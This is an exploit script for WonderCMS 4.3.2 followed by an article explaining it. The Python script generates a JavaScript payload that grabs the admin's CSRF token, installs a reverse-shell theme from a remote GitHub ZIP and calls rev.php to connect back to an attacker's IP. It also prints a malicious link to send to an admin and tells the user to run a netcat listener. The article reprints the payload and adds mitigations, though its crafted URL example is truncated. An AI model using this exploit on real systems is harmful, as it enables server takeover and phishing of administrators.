Wondercms 4.3.2 - XSS to RCE
# Author: prodigiousMind
# Exploit: Wondercms 4.3.2 XSS to RCE
import sys
import requests
import os
import bs4
if (len(sys.argv)<4): print("usage: python3 exploit.py loginURL IP_Address Port\nexample: python3 exploit.py http://localhost/wondercms/loginURL 192.168.29.165 5252")
else:
data = '''
var url = "'''+str(sys.argv[1])+'''";
if (url.endsWith("/")) {
url = url.slice(0, -1);
}
var urlWithoutLog = url.split("/").slice(0, -1).join("/");
var urlWithoutLogBase = new URL(urlWithoutLog).pathname;
var token = document.querySelectorAll('[name="token"]')[0].value;
var urlRev = urlWithoutLogBase+"/?installModule=https://github.com/prodigiousMind/revshell/archive/refs/heads/main.zip&directoryName=violet&type=themes&token=" + token;
var xhr3 = new XMLHttpRequest();
xhr3.withCredentials = true;
xhr3.open("GET", urlRev);
xhr3.send();
xhr3.onload = function() {
if (xhr3.status == 200) {
var xhr4 = new XMLHttpRequest();
xhr4.withCredentials = true;
xhr4.open("GET", urlWithoutLogBase+"/themes/revshell-main/rev.php");
xhr4.send();
xhr4.onload = function() {
if (xhr4.status == 200) {
var ip = "'''+str(sys.argv[2])+'''";
var port = "'''+str(sys.argv[3])+'''";
var xhr5 = new XMLHttpRequest();
xhr5.withCredentials = true;
xhr5.open("GET", urlWithoutLogBase+"/themes/revshell-main/rev.php?lhost=" + ip + "&lport=" + port);
xhr5.send();
}
};
}
};
'''
try:
open("xss.js","w").write(data)
print("[+] xss.js is created")
print("[+] execute the below command in another terminal\n\n----------------------------\nnc -lvp "+str(sys.argv[3]))
print("----------------------------\n")
XSSlink = str(sys.argv[1]).replace("loginURL","index.php?page=loginURL?")+"\"></form><script+src=\"http://"+str(sys.argv[2])+":8000/xss.js\"></script><form+action=\""
XSSlink = XSSlink.strip(" ")
print("send the below link to admin:\n\n----------------------------\n"+XSSlink)
print("----------------------------\n")
print("\nstarting HTTP server to allow the access to xss.js")
os.system("python3 -m http.server\n")
except: print(data,"\n","//write this to a file") WonderCMS 4.3.2: Exploiting XSS to Achieve Remote Code Execution (RCE)
WonderCMS, a lightweight and minimalist content management system, has gained popularity for its simplicity and ease of deployment. However, recent vulnerabilities in version 4.3.2 have exposed a critical security flaw that allows attackers to escalate from a cross-site scripting (XSS) vulnerability to full remote code execution (RCE). This exploit, crafted by security researcher prodigiousMind, demonstrates how a seemingly benign client-side injection can be leveraged to compromise server-side systems.
Understanding the Vulnerability Chain
At the core of this attack is a misconfigured module installation mechanism in WonderCMS 4.3.2. The system allows administrators to install themes or modules via a URL-based parameter, using the installModule query string. While intended for legitimate updates, this feature lacks proper input validation and authentication checks, making it a prime target for exploitation.
Attackers can bypass authentication by leveraging an existing XSS vulnerability in the login page. Once an attacker injects malicious JavaScript into the admin’s browser session, they can use the token value from the form to execute commands on the server.
Exploit Workflow: From XSS to RCE
The exploit follows a multi-stage process:
- Stage 1: XSS Injection — The attacker crafts a malicious link that injects JavaScript into the admin’s browser during login.
- Stage 2: Token Extraction — The script retrieves the CSRF token from the login form, which is required for authenticated actions.
- Stage 3: Module Installation — Using the token, the attacker triggers the installation of a malicious module from a remote ZIP file hosted on GitHub.
- Stage 4: Payload Execution — Once the module is installed, a reverse shell script is accessible via a predictable path.
- Stage 5: Remote Code Execution — The attacker establishes a reverse shell connection to the target server.
Exploit Code Analysis
var url = "https://localhost/wondercms/loginURL";
if (url.endsWith("/")) {
url = url.slice(0, -1);
}
var urlWithoutLog = url.split("/").slice(0, -1).join("/");
var urlWithoutLogBase = new URL(urlWithoutLog).pathname;
var token = document.querySelectorAll('[name="token"]')[0].value;
var urlRev = urlWithoutLogBase+"/?installModule=https://github.com/prodigiousMind/revshell/archive/refs/heads/main.zip&directoryName=violet&type=themes&token=" + token;
var xhr3 = new XMLHttpRequest();
xhr3.withCredentials = true;
xhr3.open("GET", urlRev);
xhr3.send();
xhr3.onload = function() {
if (xhr3.status == 200) {
var xhr4 = new XMLHttpRequest();
xhr4.withCredentials = true;
xhr4.open("GET", urlWithoutLogBase+"/themes/revshell-main/rev.php");
xhr4.send();
xhr4.onload = function() {
if (xhr4.status == 200) {
var ip = "192.168.29.165";
var port = "5252";
var xhr5 = new XMLHttpRequest();
xhr5.withCredentials = true;
xhr5.open("GET", urlWithoutLogBase+"/themes/revshell-main/rev.php?lhost=" + ip + "&lport=" + port);
xhr5.send();
}
};
}
};
This JavaScript payload performs the following actions:
- It dynamically constructs the base URL by removing the
/loginURLpath and extracting the root path. - It retrieves the
tokenvalue from the login form, which is essential for authenticated requests. - It uses
XMLHttpRequestto send a GET request to install a malicious module from a GitHub-hosted ZIP file. - Once the module is installed, it attempts to access the
rev.phpfile in thethemes/revshell-maindirectory. - Finally, it triggers a reverse shell by passing the attacker’s IP and port as parameters.
The use of withCredentials = true ensures that the request includes cookies and session data, allowing the exploit to bypass authentication checks.
Real-World Exploitation Example
Consider a scenario where an attacker targets a vulnerable WonderCMS instance running at http://localhost/wondercms. The attacker crafts a malicious URL:
http://localhost/wondercms/index.php?page=loginURL?"><form action="
When an admin clicks this link, the JavaScript is executed in their browser. The script automatically:
- Extracts the CSRF token.
- Installs a malicious theme from GitHub.
- Activates a reverse shell via
rev.php.
Simultaneously, the attacker runs a netcat listener:
nc -lvp 5252
Upon successful execution, the attacker gains full access to the server, enabling arbitrary command execution, file manipulation, and persistence.
Security Implications and Mitigations
| Issue | Impact | Recommended Fix |
|---|---|---|
| Unvalidated module installation via URL | Remote code execution | Implement strict input validation and restrict file sources to trusted domains. |
| XSS in login form | Session hijacking and privilege escalation | Sanitize all user inputs and use Content Security Policy (CSP). |
| Missing authentication checks for module installs | Unauthorized module deployment | Require authentication and token validation for all module installation requests. |
Administrators should immediately update to a patched version of WonderCMS and conduct a thorough audit of installed themes and modules. Additionally, enabling CSP headers can mitigate XSS attacks by blocking unauthorized script execution.
Conclusion
The WonderCMS 4.3.2 XSS-to-RCE exploit serves as a stark reminder that even simple CMS platforms can harbor severe vulnerabilities. This attack chain highlights the importance of:
- Input validation at every stage.
- Session integrity protection.
- Security-by-design principles.
As cyber threats evolve, developers and administrators must adopt proactive security measures — including regular updates, penetration testing, and monitoring — to prevent such chain exploits from compromising systems.